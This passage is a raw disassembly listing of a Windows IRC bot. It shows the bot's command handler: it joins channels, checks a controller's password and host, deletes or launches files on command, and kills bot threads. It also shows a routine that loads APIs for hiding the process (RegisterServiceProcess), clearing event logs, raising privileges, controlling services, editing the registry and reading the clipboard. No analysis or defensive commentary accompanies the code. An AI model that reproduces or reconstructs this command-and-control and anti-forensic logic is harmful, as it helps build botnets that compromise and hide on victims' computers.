		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	short loc_408793
; ---------------------------------------------------------------------------


loc_408731:				; CODE XREF: sub_401CC1+3A32j
					; sub_401CC1+3A49j
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	edi
		push	[ebp+var_C]
		call	sub_41B890
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_408CA1
		push	eax
		call	sub_415F91
		test	eax, eax
		pop	ecx
		jnz	short loc_40875F
		push	offset unk_443314
		jmp	short loc_408764
; ---------------------------------------------------------------------------


loc_40875F:				; CODE XREF: sub_401CC1+6A95j
		push	offset dword_443334


loc_408764:				; CODE XREF: sub_401CC1+6A57j
					; sub_401CC1+6A9Cj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_408772:				; CODE XREF: sub_401CC1+631Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_408793
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_408793:				; CODE XREF: sub_401CC1+6933j
					; sub_401CC1+694Bj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		pop	ecx
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_4087A5:				; CODE XREF: sub_401CC1+3A04j
					; sub_401CC1+3A1Bj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_40F483
		push	edi
		push	offset dword_4432EC
		jmp	loc_4082BE
; ---------------------------------------------------------------------------


loc_4087C0:				; CODE XREF: sub_401CC1+39D6j
					; sub_401CC1+39EDj
		push	edi
		call	dword_4F133C	; DeleteFileA
		test	eax, eax
		jz	short loc_4087D3
		push	edi
		push	offset dword_4432B8
		jmp	short loc_4087DE
; ---------------------------------------------------------------------------


loc_4087D3:				; CODE XREF: sub_401CC1+6B08j
		push	offset dword_4432D4
		call	sub_415ECC
		push	eax


loc_4087DE:				; CODE XREF: sub_401CC1+6B10j
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41B910
		jmp	loc_4088B6
; ---------------------------------------------------------------------------


loc_4087F4:				; CODE XREF: sub_401CC1+39A8j
					; sub_401CC1+39BFj
		push	edi
		call	sub_41B3F0
		push	eax
		call	sub_4178FE
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_408811
		push	offset unk_443258
		jmp	short loc_408816
; ---------------------------------------------------------------------------


loc_408811:				; CODE XREF: sub_401CC1+6B47j
		push	offset unk_44327C


loc_408816:				; CODE XREF: sub_401CC1+6B4Ej
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_4066B7
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h
		jmp	loc_4066B7
; ---------------------------------------------------------------------------


loc_40884F:				; CODE XREF: sub_401CC1+397Aj
					; sub_401CC1+3991j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4175DD
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_408871
		push	offset unk_4431FC
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_408871:				; CODE XREF: sub_401CC1+6BA4j
		push	offset unk_44321C
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_401CC1+394Cj
					; sub_401CC1+3963j
		push	edi
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2CC], eax
		jz	short loc_4088BE
		push	2
		lea	eax, [ebp+var_2CC]
		push	4
		push	eax
		call	dword_4E085C
		cmp	eax, ebx
		jz	short loc_4088DF
		push	dword ptr [eax]
		push	edi
		push	offset unk_443184


loc_4088AA:				; CODE XREF: sub_401CC1+6C1Cj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740


loc_4088B6:				; CODE XREF: sub_401CC1+6B2Ej
		add	esp, 10h
		jmp	loc_406693
; ---------------------------------------------------------------------------


loc_4088BE:				; CODE XREF: sub_401CC1+6BCAj
		push	edi
		call	dword_4E0920
		cmp	eax, ebx
		jz	short loc_4088DF
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4E0928
		push	eax
		push	edi
		push	offset unk_4431A4
		jmp	short loc_4088AA
; ---------------------------------------------------------------------------


loc_4088DF:				; CODE XREF: sub_401CC1+6BDFj
					; sub_401CC1+6C06j
		push	offset unk_4431C4
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_4088E9:				; CODE XREF: sub_401CC1+391Ej
					; sub_401CC1+3935j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41B1F0
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_443154
		push	eax
		call	sub_41B740
		add	esp, 18h
		jmp	loc_407C2F
; ---------------------------------------------------------------------------


loc_40890E:				; CODE XREF: sub_401CC1+38F0j
					; sub_401CC1+3907j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen_1	; "open"
		push	ebx
		call	dword_4E0818
		test	eax, eax
		push	edi
		jz	short loc_40892E
		push	offset unk_443104
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_40892E:				; CODE XREF: sub_401CC1+6C61j
		push	offset unk_443124
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_408938:				; CODE XREF: sub_401CC1+38C2j
					; sub_401CC1+38D9j
		mov	al, [edi]
		mov	byte_43A094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_4430C8
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_40894D:				; CODE XREF: sub_401CC1+3894j
					; sub_401CC1+38ABj
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A4F6
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_5	; "NICK	%s"
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_17	; "%s\r\n"
		jmp	loc_4081F1
; ---------------------------------------------------------------------------


loc_4089A4:				; CODE XREF: sub_401CC1+3866j
					; sub_401CC1+387Dj
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jle	loc_40207C
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40207C
		push	offset aQuitLater_0 ; "QUIT :later\r\n"
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	sub_408E73
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_4F1334	; Sleep
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	dword_4E0934
		push	[ebp+var_10]
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537DC[eax]
		call	dword_4F1368	; TerminateThread
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		push	edi
		mov	dword_4537DC[eax], ebx
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4535C8[eax], bl
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_408A4F:				; CODE XREF: sub_401CC1+3838j
					; sub_401CC1+384Fj
		push	edi
		push	offset aAll	; "all"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408AB9
		call	sub_40A9C6
		cmp	eax, ebx
		jle	short loc_408A74
		push	eax
		push	offset unk_442FDC
		jmp	loc_406CD7
; ---------------------------------------------------------------------------


loc_408A74:				; CODE XREF: sub_401CC1+6DA6j
		push	offset unk_443004


loc_408A79:				; CODE XREF: sub_401CC1+202Ej
					; sub_401CC1+204Dj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx


loc_408A87:				; CODE XREF: sub_401CC1+5025j
					; sub_401CC1+6894j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408AA8
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_408AA0:				; CODE XREF: sub_401CC1+6416j
		call	sub_408EB9
		add	esp, 14h


loc_408AA8:				; CODE XREF: sub_401CC1+2233j
					; sub_401CC1+225Ej ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		jmp	loc_402266
; ---------------------------------------------------------------------------


loc_408AB9:				; CODE XREF: sub_401CC1+6D9Dj
		mov	eax, [ebp+var_A4]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40207C
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_408AD5:				; CODE XREF: sub_401CC1+6E85j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40207C
		push	esi
		call	sub_41B3F0
		push	eax
		call	sub_40A938
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_408AFC
		push	offset unk_44302C
		jmp	short loc_408B01
; ---------------------------------------------------------------------------


loc_408AFC:				; CODE XREF: sub_401CC1+6E32j
		push	offset unk_443050


loc_408B01:				; CODE XREF: sub_401CC1+6E39j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408B31
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_408B31:				; CODE XREF: sub_401CC1+6E52j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_408AD5
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_408B4D:				; CODE XREF: sub_401CC1+380Aj
					; sub_401CC1+3821j
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	edi
		push	[ebp+var_C]
		call	sub_41B890
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408CA1
		push	esi
		push	offset aS_27	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	esi
		push	offset dword_442FAC
		jmp	loc_4083E7
; ---------------------------------------------------------------------------


loc_408B84:				; CODE XREF: sub_401CC1+37DCj
					; sub_401CC1+37F3j
		push	edi
		push	offset aPartS_2	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		push	offset unk_442F78
		jmp	loc_4083E7
; ---------------------------------------------------------------------------


loc_408B9D:				; CODE XREF: sub_401CC1+37AEj
					; sub_401CC1+37C5j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS_3 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		push	offset unk_442F3C
		jmp	loc_4082BE
; ---------------------------------------------------------------------------


loc_408BBD:				; CODE XREF: sub_401CC1+3780j
					; sub_401CC1+3797j
		push	edi
		push	offset aNickS_6	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		push	offset unk_442EFC
		jmp	loc_4083E7
; ---------------------------------------------------------------------------


loc_408BD6:				; CODE XREF: sub_401CC1+2BD3j
					; sub_401CC1+2BEAj
		push	offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_442B8C
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		push	edi
		call	sub_41B3F0
		add	esp, 1Ch


loc_408C0A:				; CODE XREF: sub_401CC1+6F91j
		push	eax
		call	dword_4F1334	; Sleep


loc_408C11:				; CODE XREF: sub_401CC1+2615j
		xor	eax, eax
		jmp	loc_40207F
; ---------------------------------------------------------------------------


loc_408C18:				; CODE XREF: sub_401CC1+2BA5j
					; sub_401CC1+2BBCj
		push	offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_442B34
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		push	edi
		call	sub_41B3F0
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_408C0A
; ---------------------------------------------------------------------------


loc_408C54:				; CODE XREF: sub_401CC1+C13j
					; sub_401CC1+C28j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_43A09C
		push	eax
		call	sub_40A4F6
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS_7	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_441910
		call	sub_4145FE


loc_408C9E:				; CODE XREF: sub_401CC1+4A5Dj
		add	esp, 24h


loc_408CA1:				; CODE XREF: sub_401CC1+63Dj
					; sub_401CC1+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40207F
; ---------------------------------------------------------------------------


loc_408CA9:				; CODE XREF: sub_401CC1+6D0j
					; sub_401CC1+6E5j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_40207C
		cmp	[ebp+var_A8], ebx
		jnz	loc_40207C
		push	offset asc_441754 ; "!"
		push	[ebp+var_90]
		call	sub_41C550
		mov	esi, eax
		push	offset dword_4E075C
		push	ebx
		inc	esi
		call	sub_41C550
		push	offset asc_441758 ; "~"
		push	eax
		call	sub_41C550
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aHi_0	; "hi"
		call	sub_41C4C0
		add	esp, 20h
		test	eax, eax
		jz	short loc_408D51
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		push	esi
		push	offset unk_4417B0


loc_408D3D:				; CODE XREF: sub_401CC1+70ECj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 30h
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_408D51:				; CODE XREF: sub_401CC1+7043j
		mov	[ebp+arg_24], offset off_43A154


loc_408D58:				; CODE XREF: sub_401CC1+70B3j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40AB56
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DAF
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_43A158
		jl	short loc_408D58
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		push	esi
		push	offset unk_441830
		jmp	short loc_408D3D
; ---------------------------------------------------------------------------


loc_408DAF:				; CODE XREF: sub_401CC1+70A6j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408DB4:				; CODE XREF: sub_401CC1+711Dj
		cmp	[ebp+arg_20], ebx
		jz	loc_40207C
		cmp	[edi], bl
		jnz	short loc_408DD4
		push	[ebp+arg_20]
		push	offset aHi_0	; "hi"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408DE5


loc_408DD4:				; CODE XREF: sub_401CC1+70FEj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_408DB4
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_408DE5:				; CODE XREF: sub_401CC1+7111j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_D04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B1F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E1C
		push	ebx
		push	[ebp+var_4]
		push	offset unk_44185C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_408E1C:				; CODE XREF: sub_401CC1+713Fj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_44187C
		jmp	loc_402260
; ---------------------------------------------------------------------------


loc_408E2D:				; CODE XREF: sub_401CC1+205j
					; sub_401CC1+21Aj
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		add	esp, 2Ch
		mov	dword_4E0748, edi
		jmp	loc_401F55
sub_401CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E73	proc near		; CODE XREF: sub_401B49+3Dp
					; sub_401CC1+1C2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C6A0
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		leave
		retn
sub_408E73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EB9	proc near		; CODE XREF: sub_401CC1+50Cp
					; sub_401CC1+102Fp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice_3 ;	"NOTICE"
		jnz	short loc_408ED4
		mov	edi, offset aPrivmsg_2 ; "PRIVMSG"


loc_408ED4:				; CODE XREF: sub_408EB9+14j
		push	edi
		call	sub_418D00
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_418D00
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_18	; "%s"
		push	esi
		push	eax
		call	sub_41B910
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B740
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_408F52
		push	7D0h
		call	dword_4F1334	; Sleep

locret_408F52:				; CODE XREF: sub_408EB9+8Cj
		leave
		retn
sub_408EB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F54	proc near		; CODE XREF: sub_40141B+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_4F1358
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4F1378
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409074
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4E0948, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4E08C0, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4E08A4, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4E07C4, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4E0774, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4E07A0, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4E0814, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4E08FC, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4E0958, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4E07D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4E0948, ebx
		mov	dword_4E07B8, eax
		jz	short loc_409052
		cmp	dword_4E08C0, ebx
		jz	short loc_409052
		cmp	dword_4E08A4, ebx
		jz	short loc_409052
		cmp	dword_4E07C4, ebx
		jz	short loc_409052
		cmp	dword_4E07A0, ebx
		jz	short loc_409052
		cmp	dword_4E0814, ebx
		jz	short loc_409052
		cmp	dword_4E08FC, ebx
		jz	short loc_409052
		cmp	dword_4E0958, ebx
		jz	short loc_409052
		cmp	dword_4E07D0, ebx
		jz	short loc_409052
		cmp	eax, ebx
		jnz	short loc_40905C


loc_409052:				; CODE XREF: sub_408F54+B8j
					; sub_408F54+C0j ...
		mov	dword_4E095C, 1


loc_40905C:				; CODE XREF: sub_408F54+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E08D4, eax
		jz	short loc_409089
		push	1
		push	ebx
		call	eax
		jmp	short loc_409089
; ---------------------------------------------------------------------------


loc_409074:				; CODE XREF: sub_408F54+1Dj
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0960, eax
		mov	dword_4E095C, 1


loc_409089:				; CODE XREF: sub_408F54+117j
					; sub_408F54+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4F1374	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409144
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4E08F8, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4E08AC, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4E0844, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4E094C, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4E0870, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4E0890, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4E08F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4E08F8, ebx
		mov	dword_4E07F0, eax
		jz	short loc_40914F
		cmp	dword_4E08AC, ebx
		jz	short loc_40914F
		cmp	dword_4E0844, ebx
		jz	short loc_40914F
		cmp	dword_4E094C, ebx
		jz	short loc_40914F
		cmp	dword_4E0870, ebx
		jz	short loc_40914F
		cmp	dword_4E0890, ebx
		jz	short loc_40914F
		cmp	dword_4E08F0, ebx
		jz	short loc_40914F
		cmp	eax, ebx
		jnz	short loc_409159
		jmp	short loc_40914F
; ---------------------------------------------------------------------------


loc_409144:				; CODE XREF: sub_408F54+144j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	dword_4E0968, eax


loc_40914F:				; CODE XREF: sub_408F54+1B8j
					; sub_408F54+1C0j ...
		mov	dword_4E0964, 1


loc_409159:				; CODE XREF: sub_408F54+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409312
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4E090C, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4E0858, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4E08C4, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4E07B0, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4E0810, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4E087C, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4E082C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E090C, ebx
		mov	dword_4E0838, eax
		jz	short loc_409202
		cmp	dword_4E0858, ebx
		jz	short loc_409202
		cmp	dword_4E08C4, ebx
		jz	short loc_409202
		cmp	dword_4E07B0, ebx
		jz	short loc_409202
		cmp	dword_4E0810, ebx
		jz	short loc_409202
		cmp	dword_4E087C, ebx
		jnz	short loc_40920C


loc_409202:				; CODE XREF: sub_408F54+284j
					; sub_408F54+28Cj ...
		mov	dword_4E096C, 1


loc_40920C:				; CODE XREF: sub_408F54+2ACj
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4E0884, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4E0860, eax
		call	esi	; GetProcAddress
		cmp	dword_4E0884, ebx
		mov	dword_4E0908, eax
		jz	short loc_409247
		cmp	dword_4E0860, ebx
		jz	short loc_409247
		cmp	eax, ebx
		jnz	short loc_409251


loc_409247:				; CODE XREF: sub_408F54+2E5j
					; sub_408F54+2EDj
		mov	dword_4E096C, 1


loc_409251:				; CODE XREF: sub_408F54+2F1j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4E0894, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4E078C, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4E0794, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4E07F8, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4E07FC, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4E07A8, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4E0864, eax
		call	esi	; GetProcAddress
		cmp	dword_4E0894, ebx
		mov	dword_4E0798, eax
		jz	short loc_4092F5
		cmp	dword_4E078C, ebx
		jz	short loc_4092F5
		cmp	dword_4E0794, ebx
		jz	short loc_4092F5
		cmp	dword_4E07F8, ebx
		jz	short loc_4092F5
		cmp	dword_4E07FC, ebx
		jz	short loc_4092F5
		cmp	dword_4E07A8, ebx
		jz	short loc_4092F5
		cmp	dword_4E0864, ebx
		jz	short loc_4092F5
		cmp	eax, ebx
		jnz	short loc_4092FF


loc_4092F5:				; CODE XREF: sub_408F54+36Bj
					; sub_408F54+373j ...
		mov	dword_4E096C, 1


loc_4092FF:				; CODE XREF: sub_408F54+39Fj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E0790, eax
		jnz	short loc_409327
		jmp	short loc_40931D
; ---------------------------------------------------------------------------


loc_409312:				; CODE XREF: sub_408F54+210j
